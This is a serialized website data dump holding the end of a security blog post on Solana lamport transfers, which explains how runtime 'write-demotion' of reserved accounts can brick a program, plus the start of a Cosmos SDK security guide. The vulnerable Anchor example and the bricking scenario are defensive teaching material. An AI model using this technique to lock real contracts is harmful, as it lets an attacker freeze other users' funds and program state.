"type":28,"value":1751},{"type":23,"tag":41,"props":74955,"children":74956},{"style":170},[74957],{"type":28,"value":12859},{"type":23,"tag":41,"props":74959,"children":74960},{"style":64},[74961],{"type":28,"value":13708},{"type":23,"tag":41,"props":74963,"children":74964},{"style":170},[74965],{"type":28,"value":706},{"type":23,"tag":41,"props":74967,"children":74968},{"style":114},[74969],{"type":28,"value":74970},"is_upgradeable_loader_present",{"type":23,"tag":41,"props":74972,"children":74973},{"style":70},[74974],{"type":28,"value":7735},{"type":23,"tag":41,"props":74976,"children":74977},{"class":43,"line":2002},[74978],{"type":23,"tag":41,"props":74979,"children":74980},{"style":70},[74981],{"type":28,"value":201},{"type":23,"tag":24,"props":74983,"children":74984},{},[74985],{"type":28,"value":74986},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":5436,"props":74988,"children":74989},{},[74990,75002],{"type":23,"tag":421,"props":74991,"children":74992},{},[74993,74995],{"type":28,"value":74994},"The account appears in the ",{"type":23,"tag":458,"props":74996,"children":74999},{"href":74997,"rel":74998},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[462],[75000],{"type":28,"value":75001},"reserved account list",{"type":23,"tag":421,"props":75003,"children":75004},{},[75005],{"type":28,"value":75006},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":75008,"children":75009},{},[75010],{"type":28,"value":75011},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":75013,"children":75014},{},[75015],{"type":28,"value":75016},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":18881,"props":75018,"children":75020},{"id":75019},"the-reserved-account-list",[75021],{"type":28,"value":75022},"The Reserved Account List",{"type":23,"tag":24,"props":75024,"children":75025},{},[75026,75028,75033],{"type":28,"value":75027},"The Solana runtime maintains a ",{"type":23,"tag":458,"props":75029,"children":75031},{"href":74997,"rel":75030},[462],[75032],{"type":28,"value":75001},{"type":28,"value":75034},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":75036,"children":75037},{},[75038,75040,75047,75049,75054],{"type":28,"value":75039},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":458,"props":75041,"children":75044},{"href":75042,"rel":75043},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[462],[75045],{"type":28,"value":75046},"feature gate is actived",{"type":28,"value":75048},", the runtime will ",{"type":23,"tag":510,"props":75050,"children":75051},{},[75052],{"type":28,"value":75053},"automatically demote them to read-only",{"type":28,"value":75055},", even if the transaction marked them as writable.",{"type":23,"tag":31,"props":75057,"children":75059},{"className":2982,"code":75058,"language":2981,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[75060],{"type":23,"tag":37,"props":75061,"children":75062},{"__ignoreMap":7},[75063,75071,75079,75103,75157,75195,75224],{"type":23,"tag":41,"props":75064,"children":75065},{"class":43,"line":44},[75066],{"type":23,"tag":41,"props":75067,"children":75068},{"style":48},[75069],{"type":28,"value":75070},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":41,"props":75072,"children":75073},{"class":43,"line":54},[75074],{"type":23,"tag":41,"props":75075,"children":75076},{"style":48},[75077],{"type":28,"value":75078},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":41,"props":75080,"children":75081},{"class":43,"line":76},[75082,75086,75090,75095,75099],{"type":23,"tag":41,"props":75083,"children":75084},{"style":64},[75085],{"type":28,"value":13708},{"type":23,"tag":41,"props":75087,"children":75088},{"style":170},[75089],{"type":28,"value":706},{"type":23,"tag":41,"props":75091,"children":75092},{"style":70},[75093],{"type":28,"value":75094},"reserved_account_keys ",{"type":23,"tag":41,"props":75096,"children":75097},{"style":170},[75098],{"type":28,"value":2381},{"type":23,"tag":41,"props":75100,"children":75101},{"style":70},[75102],{"type":28,"value":102},{"type":23,"tag":41,"props":75104,"children":75105},{"class":43,"line":85},[75106,75110,75114,75119,75123,75128,75132,75136,75140,75144,75148,75152],{"type":23,"tag":41,"props":75107,"children":75108},{"style":64},[75109],{"type":28,"value":3002},{"type":23,"tag":41,"props":75111,"children":75112},{"style":64},[75113],{"type":28,"value":3007},{"type":23,"tag":41,"props":75115,"children":75116},{"style":858},[75117],{"type":28,"value":75118}," reserved_keys",{"type":23,"tag":41,"props":75120,"children":75121},{"style":170},[75122],{"type":28,"value":3017},{"type":23,"tag":41,"props":75124,"children":75125},{"style":94},[75126],{"type":28,"value":75127}," ReservedAccountKeys",{"type":23,"tag":41,"props":75129,"children":75130},{"style":170},[75131],{"type":28,"value":3479},{"type":23,"tag":41,"props":75133,"children":75134},{"style":114},[75135],{"type":28,"value":15411},{"type":23,"tag":41,"props":75137,"children":75138},{"style":70},[75139],{"type":28,"value":1737},{"type":23,"tag":41,"props":75141,"children":75142},{"style":170},[75143],{"type":28,"value":855},{"type":23,"tag":41,"props":75145,"children":75146},{"style":64},[75147],{"type":28,"value":13708},{"type":23,"tag":41,"props":75149,"children":75150},{"style":170},[75151],{"type":28,"value":706},{"type":23,"tag":41,"props":75153,"children":75154},{"style":70},[75155],{"type":28,"value":75156},"reserved_account_keys);\n",{"type":23,"tag":41,"props":75158,"children":75159},{"class":43,"line":105},[75160,75165,75169,75174,75178,75182,75186,75190],{"type":23,"tag":41,"props":75161,"children":75162},{"style":858},[75163],{"type":28,"value":75164},"    reserved_keys",{"type":23,"tag":41,"props":75166,"children":75167},{"style":170},[75168],{"type":28,"value":706},{"type":23,"tag":41,"props":75170,"children":75171},{"style":114},[75172],{"type":28,"value":75173},"update_active_set",{"type":23,"tag":41,"props":75175,"children":75176},{"style":70},[75177],{"type":28,"value":1737},{"type":23,"tag":41,"props":75179,"children":75180},{"style":170},[75181],{"type":28,"value":855},{"type":23,"tag":41,"props":75183,"children":75184},{"style":64},[75185],{"type":28,"value":13708},{"type":23,"tag":41,"props":75187,"children":75188},{"style":170},[75189],{"type":28,"value":706},{"type":23,"tag":41,"props":75191,"children":75192},{"style":70},[75193],{"type":28,"value":75194},"feature_set);\n",{"type":23,"tag":41,"props":75196,"children":75197},{"class":43,"line":155},[75198,75203,75207,75211,75215,75220],{"type":23,"tag":41,"props":75199,"children":75200},{"style":94},[75201],{"type":28,"value":75202},"    Arc",{"type":23,"tag":41,"props":75204,"children":75205},{"style":170},[75206],{"type":28,"value":3479},{"type":23,"tag":41,"props":75208,"children":75209},{"style":114},[75210],{"type":28,"value":15114},{"type":23,"tag":41,"props":75212,"children":75213},{"style":70},[75214],{"type":28,"value":1737},{"type":23,"tag":41,"props":75216,"children":75217},{"style":858},[75218],{"type":28,"value":75219},"reserved_keys",{"type":23,"tag":41,"props":75221,"children":75222},{"style":70},[75223],{"type":28,"value":1969},{"type":23,"tag":41,"props":75225,"children":75226},{"class":43,"line":186},[75227],{"type":23,"tag":41,"props":75228,"children":75229},{"style":70},[75230],{"type":28,"value":936},{"type":23,"tag":18881,"props":75232,"children":75234},{"id":75233},"consequences-silent-failures-and-bricked-programs",[75235],{"type":28,"value":75236},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":75238,"children":75239},{},[75240],{"type":28,"value":75241},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":31,"props":75243,"children":75245},{"className":2982,"code":75244,"language":2981,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[75246],{"type":23,"tag":37,"props":75247,"children":75248},{"__ignoreMap":7},[75249,75264,75291,75306,75345,75352,75399,75430,75437,75452,75483,75490,75505,75536],{"type":23,"tag":41,"props":75250,"children":75251},{"class":43,"line":44},[75252,75256,75260],{"type":23,"tag":41,"props":75253,"children":75254},{"style":70},[75255],{"type":28,"value":22824},{"type":23,"tag":41,"props":75257,"children":75258},{"style":94},[75259],{"type":28,"value":22829},{"type":23,"tag":41,"props":75261,"children":75262},{"style":70},[75263],{"type":28,"value":20247},{"type":23,"tag":41,"props":75265,"children":75266},{"class":43,"line":54},[75267,75271,75275,75279,75283,75287],{"type":23,"tag":41,"props":75268,"children":75269},{"style":64},[75270],{"type":28,"value":13685},{"type":23,"tag":41,"props":75272,"children":75273},{"style":64},[75274],{"type":28,"value":21138},{"type":23,"tag":41,"props":75276,"children":75277},{"style":94},[75278],{"type":28,"value":71305},{"type":23,"tag":41,"props":75280,"children":75281},{"style":70},[75282],{"type":28,"value":22909},{"type":23,"tag":41,"props":75284,"children":75285},{"style":94},[75286],{"type":28,"value":22914},{"type":23,"tag":41,"props":75288,"children":75289},{"style":70},[75290],{"type":28,"value":7280},{"type":23,"tag":41,"props":75292,"children":75293},{"class":43,"line":76},[75294,75298,75302],{"type":23,"tag":41,"props":75295,"children":75296},{"style":70},[75297],{"type":28,"value":23116},{"type":23,"tag":41,"props":75299,"children":75300},{"style":64},[75301],{"type":28,"value":3723},{"type":23,"tag":41,"props":75303,"children":75304},{"style":70},[75305],{"type":28,"value":20247},{"type":23,"tag":41,"props":75307,"children":75308},{"class":43,"line":85},[75309,75313,75317,75321,75325,75329,75333,75337,75341],{"type":23,"tag":41,"props":75310,"children":75311},{"style":64},[75312],{"type":28,"value":20830},{"type":23,"tag":41,"props":75314,"children":75315},{"style":858},[75316],{"type":28,"value":71344},{"type":23,"tag":41,"props":75318,"children":75319},{"style":170},[75320],{"type":28,"value":1474},{"type":23,"tag":41,"props":75322,"children":75323},{"style":94},[75324],{"type":28,"value":23081},{"type":23,"tag":41,"props":75326,"children":75327},{"style":70},[75328],{"type":28,"value":22909},{"type":23,"tag":41,"props":75330,"children":75331},{"style":94},[75332],{"type":28,"value":22914},{"type":23,"tag":41,"props":75334,"children":75335},{"style":70},[75336],{"type":28,"value":970},{"type":23,"tag":41,"props":75338,"children":75339},{"style":94},[75340],{"type":28,"value":71369},{"type":23,"tag":41,"props":75342,"children":75343},{"style":70},[75344],{"type":28,"value":6136},{"type":23,"tag":41,"props":75346,"children":75347},{"class":43,"line":105},[75348],{"type":23,"tag":41,"props":75349,"children":75350},{"emptyLinePlaceholder":18},[75351],{"type":28,"value":82},{"type":23,"tag":41,"props":75353,"children":75354},{"class":43,"line":155},[75355,75359,75363,75367,75371,75375,75379,75383,75387,75391,75395],{"type":23,"tag":41,"props":75356,"children":75357},{"style":70},[75358],{"type":28,"value":23116},{"type":23,"tag":41,"props":75360,"children":75361},{"style":64},[75362],{"type":28,"value":3723},{"type":23,"tag":41,"props":75364,"children":75365},{"style":70},[75366],{"type":28,"value":71404},{"type":23,"tag":41,"props":75368,"children":75369},{"style":170},[75370],{"type":28,"value":2381},{"type":23,"tag":41,"props":75372,"children":75373},{"style":70},[75374],{"type":28,"value":71413},{"type":23,"tag":41,"props":75376,"children":75377},{"style":170},[75378],{"type":28,"value":706},{"type":23,"tag":41,"props":75380,"children":75381},{"style":70},[75382],{"type":28,"value":71422},{"type":23,"tag":41,"props":75384,"children":75385},{"style":170},[75386],{"type":28,"value":387},{"type":23,"tag":41,"props":75388,"children":75389},{"style":70},[75390],{"type":28,"value":71344},{"type":23,"tag":41,"props":75392,"children":75393},{"style":170},[75394],{"type":28,"value":706},{"type":23,"tag":41,"props":75396,"children":75397},{"style":70},[75398],{"type":28,"value":71439},{"type":23,"tag":41,"props":75400,"children":75401},{"class":43,"line":186},[75402,75406,75410,75414,75418,75422,75426],{"type":23,"tag":41,"props":75403,"children":75404},{"style":64},[75405],{"type":28,"value":20830},{"type":23,"tag":41,"props":75407,"children":75408},{"style":858},[75409],{"type":28,"value":71413},{"type":23,"tag":41,"props":75411,"children":75412},{"style":170},[75413],{"type":28,"value":1474},{"type":23,"tag":41,"props":75415,"children":75416},{"style":94},[75417],{"type":28,"value":25397},{"type":23,"tag":41,"props":75419,"children":75420},{"style":70},[75421],{"type":28,"value":22909},{"type":23,"tag":41,"props":75423,"children":75424},{"style":94},[75425],{"type":28,"value":22914},{"type":23,"tag":41,"props":75427,"children":75428},{"style":70},[75429],{"type":28,"value":6136},{"type":23,"tag":41,"props":75431,"children":75432},{"class":43,"line":195},[75433],{"type":23,"tag":41,"props":75434,"children":75435},{"emptyLinePlaceholder":18},[75436],{"type":28,"value":82},{"type":23,"tag":41,"props":75438,"children":75439},{"class":43,"line":905},[75440,75444,75448],{"type":23,"tag":41,"props":75441,"children":75442},{"style":70},[75443],{"type":28,"value":23116},{"type":23,"tag":41,"props":75445,"children":75446},{"style":64},[75447],{"type":28,"value":3723},{"type":23,"tag":41,"props":75449,"children":75450},{"style":70},[75451],{"type":28,"value":20247},{"type":23,"tag":41,"props":75453,"children":75454},{"class":43,"line":922},[75455,75459,75463,75467,75471,75475,75479],{"type":23,"tag":41,"props":75456,"children":75457},{"style":64},[75458],{"type":28,"value":20830},{"type":23,"tag":41,"props":75460,"children":75461},{"style":858},[75462],{"type":28,"value":71512},{"type":23,"tag":41,"props":75464,"children":75465},{"style":170},[75466],{"type":28,"value":1474},{"type":23,"tag":41,"props":75468,"children":75469},{"style":94},[75470],{"type":28,"value":25397},{"type":23,"tag":41,"props":75472,"children":75473},{"style":70},[75474],{"type":28,"value":22909},{"type":23,"tag":41,"props":75476,"children":75477},{"style":94},[75478],{"type":28,"value":22914},{"type":23,"tag":41,"props":75480,"children":75481},{"style":70},[75482],{"type":28,"value":6136},{"type":23,"tag":41,"props":75484,"children":75485},{"class":43,"line":930},[75486],{"type":23,"tag":41,"props":75487,"children":75488},{"emptyLinePlaceholder":18},[75489],{"type":28,"value":82},{"type":23,"tag":41,"props":75491,"children":75492},{"class":43,"line":939},[75493,75497,75501],{"type":23,"tag":41,"props":75494,"children":75495},{"style":70},[75496],{"type":28,"value":23116},{"type":23,"tag":41,"props":75498,"children":75499},{"style":64},[75500],{"type":28,"value":3723},{"type":23,"tag":41,"props":75502,"children":75503},{"style":70},[75504],{"type":28,"value":20247},{"type":23,"tag":41,"props":75506,"children":75507},{"class":43,"line":947},[75508,75512,75516,75520,75524,75528,75532],{"type":23,"tag":41,"props":75509,"children":75510},{"style":64},[75511],{"type":28,"value":20830},{"type":23,"tag":41,"props":75513,"children":75514},{"style":858},[75515],{"type":28,"value":42232},{"type":23,"tag":41,"props":75517,"children":75518},{"style":170},[75519],{"type":28,"value":1474},{"type":23,"tag":41,"props":75521,"children":75522},{"style":94},[75523],{"type":28,"value":23145},{"type":23,"tag":41,"props":75525,"children":75526},{"style":70},[75527],{"type":28,"value":22909},{"type":23,"tag":41,"props":75529,"children":75530},{"style":94},[75531],{"type":28,"value":22914},{"type":23,"tag":41,"props":75533,"children":75534},{"style":70},[75535],{"type":28,"value":6136},{"type":23,"tag":41,"props":75537,"children":75538},{"class":43,"line":985},[75539],{"type":23,"tag":41,"props":75540,"children":75541},{"style":70},[75542],{"type":28,"value":201},{"type":23,"tag":24,"props":75544,"children":75545},{},[75546,75548,75554,75556,75562],{"type":28,"value":75547},"This works fine — until one day, ",{"type":23,"tag":37,"props":75549,"children":75551},{"className":75550},[],[75552],{"type":28,"value":75553},"old_king",{"type":28,"value":75555}," is silently demoted. Suddenly, the ",{"type":23,"tag":37,"props":75557,"children":75559},{"className":75558},[],[75560],{"type":28,"value":75561},"#[account(mut)]",{"type":28,"value":75563}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":18881,"props":75565,"children":75567},{"id":75566},"real-world-example-write-demotion-with-secp256r1_program",[75568,75570],{"type":28,"value":75569},"Real-World Example: Write-Demotion with ",{"type":23,"tag":37,"props":75571,"children":75573},{"className":75572},[],[75574],{"type":28,"value":75575},"secp256r1_program",{"type":23,"tag":24,"props":75577,"children":75578},{},[75579,75581,75586],{"type":28,"value":75580},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":37,"props":75582,"children":75584},{"className":75583},[],[75585],{"type":28,"value":75575},{"type":28,"value":75587},", a precompiled program gated behind a feature flag:",{"type":23,"tag":31,"props":75589,"children":75591},{"className":2982,"code":75590,"language":2981,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[75592],{"type":23,"tag":37,"props":75593,"children":75594},{"__ignoreMap":7},[75595,75616,75636,75665],{"type":23,"tag":41,"props":75596,"children":75597},{"class":43,"line":44},[75598,75603,75607,75612],{"type":23,"tag":41,"props":75599,"children":75600},{"style":94},[75601],{"type":28,"value":75602},"ReservedAccount",{"type":23,"tag":41,"props":75604,"children":75605},{"style":170},[75606],{"type":28,"value":3479},{"type":23,"tag":41,"props":75608,"children":75609},{"style":114},[75610],{"type":28,"value":75611},"new_pending",{"type":23,"tag":41,"props":75613,"children":75614},{"style":70},[75615],{"type":28,"value":3461},{"type":23,"tag":41,"props":75617,"children":75618},{"class":43,"line":54},[75619,75624,75628,75632],{"type":23,"tag":41,"props":75620,"children":75621},{"style":70},[75622],{"type":28,"value":75623},"    secp256r1_program",{"type":23,"tag":41,"props":75625,"children":75626},{"style":170},[75627],{"type":28,"value":3479},{"type":23,"tag":41,"props":75629,"children":75630},{"style":114},[75631],{"type":28,"value":3484},{"type":23,"tag":41,"props":75633,"children":75634},{"style":70},[75635],{"type":28,"value":3489},{"type":23,"tag":41,"props":75637,"children":75638},{"class":43,"line":76},[75639,75644,75648,75653,75657,75661],{"type":23,"tag":41,"props":75640,"children":75641},{"style":70},[75642],{"type":28,"value":75643},"    feature_set",{"type":23,"tag":41,"props":75645,"children":75646},{"style":170},[75647],{"type":28,"value":3479},{"type":23,"tag":41,"props":75649,"children":75650},{"style":70},[75651],{"type":28,"value":75652},"enable_secp256r1_precompile",{"type":23,"tag":41,"props":75654,"children":75655},{"style":170},[75656],{"type":28,"value":3479},{"type":23,"tag":41,"props":75658,"children":75659},{"style":114},[75660],{"type":28,"value":3484},{"type":23,"tag":41,"props":75662,"children":75663},{"style":70},[75664],{"type":28,"value":3489},{"type":23,"tag":41,"props":75666,"children":75667},{"class":43,"line":85},[75668],{"type":23,"tag":41,"props":75669,"children":75670},{"style":70},[75671],{"type":28,"value":1969},{"type":23,"tag":24,"props":75673,"children":75674},{},[75675,75677,75682,75684,75690],{"type":28,"value":75676},"Before the ",{"type":23,"tag":37,"props":75678,"children":75680},{"className":75679},[],[75681],{"type":28,"value":75652},{"type":28,"value":75683}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":37,"props":75685,"children":75687},{"className":75686},[],[75688],{"type":28,"value":75689},"secp256r1_program::id()",{"type":28,"value":75691}," as the king in a contract.",{"type":23,"tag":24,"props":75693,"children":75694},{},[75695,75697,75702],{"type":28,"value":75696},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":37,"props":75698,"children":75700},{"className":75699},[],[75701],{"type":28,"value":75689},{"type":28,"value":75703}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":18881,"props":75705,"children":75707},{"id":75706},"fix-3-preventing-write-demotion-pitfalls",[75708],{"type":28,"value":75709},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":75711,"children":75712},{},[75713,75715,75720],{"type":28,"value":75714},"Alright, let’s try to fix this ",{"type":23,"tag":2913,"props":75716,"children":75717},{},[75718],{"type":28,"value":75719},"yet another",{"type":28,"value":75721}," edge case — and hopefully close the book on it.",{"type":23,"tag":18881,"props":75723,"children":75725},{"id":75724},"attempt-1-block-known-reserved-accounts",[75726],{"type":28,"value":75727},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":75729,"children":75730},{},[75731],{"type":28,"value":75732},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":31,"props":75734,"children":75736},{"className":2215,"code":75735,"language":2214,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[75737],{"type":23,"tag":37,"props":75738,"children":75739},{"__ignoreMap":7},[75740,75748],{"type":23,"tag":41,"props":75741,"children":75742},{"class":43,"line":44},[75743],{"type":23,"tag":41,"props":75744,"children":75745},{"style":70},[75746],{"type":28,"value":75747},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":41,"props":75749,"children":75750},{"class":43,"line":54},[75751],{"type":23,"tag":41,"props":75752,"children":75753},{"style":164},[75754],{"type":28,"value":75755},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":75757,"children":75758},{},[75759,75761,75766],{"type":28,"value":75760},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":37,"props":75762,"children":75764},{"className":75763},[],[75765],{"type":28,"value":75602},{"type":28,"value":75767}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":18881,"props":75769,"children":75771},{"id":75770},"attempt-2-use-a-pda-vault",[75772],{"type":28,"value":75773},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":75775,"children":75776},{},[75777,75779,75784],{"type":28,"value":75778},"A more future-proof fix is to avoid ",{"type":23,"tag":510,"props":75780,"children":75781},{},[75782],{"type":28,"value":75783},"transferring lamports to arbitrary accounts",{"type":28,"value":75785}," altogether.",{"type":23,"tag":24,"props":75787,"children":75788},{},[75789],{"type":28,"value":75790},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":446,"props":75792,"children":75794},{"id":75793},"final-thoughts",[75795],{"type":28,"value":75796},"Final Thoughts",{"type":23,"tag":24,"props":75798,"children":75799},{},[75800],{"type":28,"value":75801},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":75803,"children":75804},{},[75805],{"type":28,"value":75806},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":417,"props":75808,"children":75809},{},[75810,75815,75820],{"type":23,"tag":421,"props":75811,"children":75812},{},[75813],{"type":28,"value":75814},"It's not executable.",{"type":23,"tag":421,"props":75816,"children":75817},{},[75818],{"type":28,"value":75819},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":421,"props":75821,"children":75822},{},[75823],{"type":28,"value":75824},"It's not a reserved account.",{"type":23,"tag":24,"props":75826,"children":75827},{},[75828],{"type":28,"value":75829},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":2843,"props":75831,"children":75832},{},[75833],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":75835},[75836,75837,75838,75844],{"id":29014,"depth":54,"text":29017},{"id":71219,"depth":54,"text":71222},{"id":72326,"depth":54,"text":72329,"children":75839},[75840,75841,75843],{"id":72332,"depth":76,"text":72335},{"id":73019,"depth":76,"text":75842},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":74323,"depth":76,"text":74326},{"id":75793,"depth":54,"text":75796},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75850,"description":75851,"date":75852,"author":75853,"image":75854,"isFeatured":18,"onBlogPage":18,"tags":75856,"body":75859,"_type":2864,"_id":89742,"_source":2866,"_file":89743,"_stem":89744,"_extension":2869},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75855,"width":13,"height":13},"/posts/cosmos-security/title.png",[75857,75858],"cosmos-sdk","security",{"type":20,"children":75860,"toc":89720},[75861,75865,75870,75875,75881,75886,75891,75896,76156,76645,76664,76669,76674,76679,76685,76690,76725,76735,77242,77262,77275,77281,77286,77291,77532,77537,77545,77557,77919,77924,77929,77965,77974,78400,78421,78427,78447,78468,78487,78519,78531,78543,79197,79225,79234,79674,79701,79721,79726,79747,79796,79805,81037,81065,81071,81076,81081,81101,81388,81422,81603,81608,81613,81657,81666,82857,83108,83121,83127,83161,83166,83229,83234,83254,83273,83285,83304,83996,84001,84006,84034,84043,84928,84955,84961,84981,84986,84999,85173,85186,85277,85282,85290,85300,85450,85455,85475,85483,85488,85886,85898,85903,85944,85955,85975,86283,86288,87213,87225,87233,87238,88231,88236,88248,88268,88287,89201,89258,89364,89376,89381,89386,89414,89423,89649,89675,89688,89702,89706,89711,89716],{"type":23,"tag":446,"props":75862,"children":75863},{"id":29014},[75864],{"type":28,"value":29017},{"type":23,"tag":24,"props":75866,"children":75867},{},[75868],{"type":28,"value":75869},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":75871,"children":75872},{},[75873],{"type":28,"value":75874},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":446,"props":75876,"children":75878},{"id":75877},"its-loopin-time",[75879],{"type":28,"value":75880},"It's Loopin' Time",{"type":23,"tag":24,"props":75882,"children":75883},{},[75884],{"type":28,"value":75885},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":75887,"children":75888},{},[75889],{"type":28,"value":75890},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":75892,"children":75893},{},[75894],{"type":28,"value":75895},"Here is a simple example for reference:",{"type":23,"tag":31,"props":75897,"children":75899},{"code":75898,"language":16,"meta":7,"className":34,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[75900],{"type":23,"tag":37,"props":75901,"children":75902},{"__ignoreMap":7},[75903,75919,75936,75952,75974,76002,76023,76047,76068,76075,76096,76113,76130,76137,76149],{"type":23,"tag":41,"props":75904,"children":75905},{"class":43,"line":44},[75906,75910,75915],{"type":23,"tag":41,"props":75907,"children":75908},{"style":64},[75909],{"type":28,"value":31371},{"type":23,"tag":41,"props":75911,"children":75912},{"style":114},[75913],{"type":28,"value":75914}," sumWithStride",{"type":23,"tag":41,"props":75916,"children":75917},{"style":70},[75918],{"type":28,"value":3461},{"type":23,"tag":41,"props":75920,"children":75921},{"class":43,"line":54},[75922,75927,75932],{"type":23,"tag":41,"props":75923,"children":75924},{"style":94},[75925],{"type":28,"value":75926},"    uint64",{"type":23,"tag":41,"props":75928,"children":75929},{"style":858},[75930],{"type":28,"value":75931}," start",{"type":23,"tag":41,"props":75933,"children":75934},{"style":70},[75935],{"type":28,"value":3506},{"type":23,"tag":41,"props":75937,"children":75938},{"class":43,"line":76},[75939,75943,75948],{"type":23,"tag":41,"props":75940,"children":75941},{"style":94},[75942],{"type":28,"value":75926},{"type":23,"tag":41,"props":75944,"children":75945},{"style":858},[75946],{"type":28,"value":75947}," stride",{"type":23,"tag":41,"props":75949,"children":75950},{"style":70},[75951],{"type":28,"value":3506},{"type":23,"tag":41,"props":75953,"children":75954},{"class":43,"line":85},[75955,75959,75964,75969],{"type":23,"tag":41,"props":75956,"children":75957},{"style":94},[75958],{"type":28,"value":75926},{"type":23,"tag":41,"props":75960,"children":75961},{"style":70},[75962],{"type":28,"value":75963},"[] ",{"type":23,"tag":41,"props":75965,"children":75966},{"style":64},[75967],{"type":28,"value":75968},"memory",{"type":23,"tag":41,"props":75970,"children":75971},{"style":858},[75972],{"type":28,"value":75973}," 